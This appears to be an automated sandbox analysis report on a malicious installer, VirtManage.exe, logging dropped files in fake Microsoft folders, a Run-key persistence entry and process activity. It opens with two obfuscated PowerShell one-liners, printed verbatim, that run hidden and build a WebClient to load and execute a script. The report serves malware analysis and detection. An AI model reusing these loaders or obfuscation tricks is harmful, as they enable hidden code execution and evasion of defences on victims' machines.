Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/gO $('C:\Pro'+'gramData\Mic'+'roso'+'ft\LogUp'+'dateWi'+'ndows\Wiaph'+'oh7um.t');Set-Item Variable:/fH 'Net.WebClient';dir ect*;SV BO (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where{(Get-ChildItem Variable:\_).Value.Name-like'*dl*ts'}).Name).Invoke('Ne*ct')(Variable fH -Value));SI Variable:2Rn ((((Get-ChildItem Variable:/BO).Value|GM)|Where{(Get-ChildItem Variable:\_).Value.Name-like'*nl*g'}).Name);Invoke-Command(($ExecutionContext|ForEach{(Get-ChildItem Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{(GCI Variable:\_).Value.NewScriptBlock((Get-ChildItem Variable:/BO).Value.((Item Variable:/2Rn).Value).Invoke((GI Variable:/gO).Value))}}))"
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')"
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/gO $('C:\Pro'+'gramData\Mic'+'roso'+'ft\LogUp'+'dateWi'+'ndows\Wiaph'+'oh7um.t');Set-Item Variable:/fH 'Net.WebClient';dir ect*;SV BO (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where{(Get-ChildItem Variable:\_).Value.Name-like'*dl*ts'}).Name).Invoke('Ne*ct')(Variable fH -Value));SI Variable:2Rn ((((Get-ChildItem Variable:/BO).Value|GM)|Where{(Get-ChildItem Variable:\_).Value.Name-like'*nl*g'}).Name);Invoke-Command(($ExecutionContext|ForEach{(Get-ChildItem Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{(GCI Variable:\_).Value.NewScriptBlock((Get-ChildItem Variable:/BO).Value.((Item Variable:/2Rn).Value).Invoke((GI Variable:/gO).Value))}}))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline"
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004014F0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,2_2_004014F0
Source: libgcrypt-20.dll.0.drStatic PE information: section name: /4
Source: libgpg-error-0.dll.0.drStatic PE information: section name: /4
Source: libnpth-0.dll.0.drStatic PE information: section name: /4
Source: libsqlite3-0.dll.0.drStatic PE information: section name: /4
Source: zlib1.dll.0.drStatic PE information: section name: /4
Source: gpg-agent.exe.0.drStatic PE information: section name: /4
Source: gpg.exe.0.drStatic PE information: section name: /4
Source: libassuan-9.dll.0.drStatic PE information: section name: /4
Source: oleview.exe.0.drStatic PE information: section name: fothk
Source: aclui.dll.0.drStatic PE information: section name: .xdata
Source: aclui.dll.0.drStatic PE information: section name: /4
Source: aclui.dll.0.drStatic PE information: section name: /19
Source: aclui.dll.0.drStatic PE information: section name: /31
Source: aclui.dll.0.drStatic PE information: section name: /45
Source: aclui.dll.0.drStatic PE information: section name: /57
Source: aclui.dll.0.drStatic PE information: section name: /70
Source: aclui.dll.0.drStatic PE information: section name: /81
Source: aclui.dll.0.drStatic PE information: section name: /97
Source: aclui.dll.0.drStatic PE information: section name: /113
Source: aclui-2.dll.21.drStatic PE information: section name: .xdata
Source: aclui-2.dll.21.drStatic PE information: section name: /4
Source: aclui-2.dll.21.drStatic PE information: section name: /19
Source: aclui-2.dll.21.drStatic PE information: section name: /31
Source: aclui-2.dll.21.drStatic PE information: section name: /45
Source: aclui-2.dll.21.drStatic PE information: section name: /57
Source: aclui-2.dll.21.drStatic PE information: section name: /70
Source: aclui-2.dll.21.drStatic PE information: section name: /81
Source: aclui-2.dll.21.drStatic PE information: section name: /97
Source: aclui-2.dll.21.drStatic PE information: section name: /113
Source: aclui.dll.21.drStatic PE information: section name: .xdata
Source: aclui.dll.21.drStatic PE information: section name: /4
Source: aclui.dll.21.drStatic PE information: section name: /19
Source: aclui.dll.21.drStatic PE information: section name: /31
Source: aclui.dll.21.drStatic PE information: section name: /45
Source: aclui.dll.21.drStatic PE information: section name: /57
Source: aclui.dll.21.drStatic PE information: section name: /70
Source: aclui.dll.21.drStatic PE information: section name: /81
Source: aclui.dll.21.drStatic PE information: section name: /97
Source: aclui.dll.21.drStatic PE information: section name: /113
Source: oleview.exe.21.drStatic PE information: section name: fothk
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0049816A push 89FFF8EBh; ret 2_2_00498179
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0049816A push 89FFF8EBh; ret 4_2_00498179
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\Users\user\AppData\Local\Temp\nsl1C60.tmp\nsis7z.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeJump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSI4C79.tmpJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg-agent.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libgcrypt-20.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libnpth-0.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\zlib1.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\aclui-2.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libgpg-error-0.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\LogUpdateWindows\aclui.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libassuan-9.dllJump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libsqlite3-0.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\aclui.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\Users\user\AppData\Local\Temp\nsl1C60.tmp\nsExec.dllJump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSI4796.tmpJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg-agent.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libgcrypt-20.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libnpth-0.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\zlib1.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\aclui-2.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libgpg-error-0.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\LogUpdateWindows\aclui.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libassuan-9.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\libsqlite3-0.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeFile created: C:\ProgramData\Microsoft\WindowsUpdate24\aclui.dllJump to dropped file

Boot Survival

barindex
Uses whoami command line tool to query computer and username
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Users\user\Desktop\VirtManage.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run UpdateOleviewJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run UpdateOleviewJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc start= demand

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
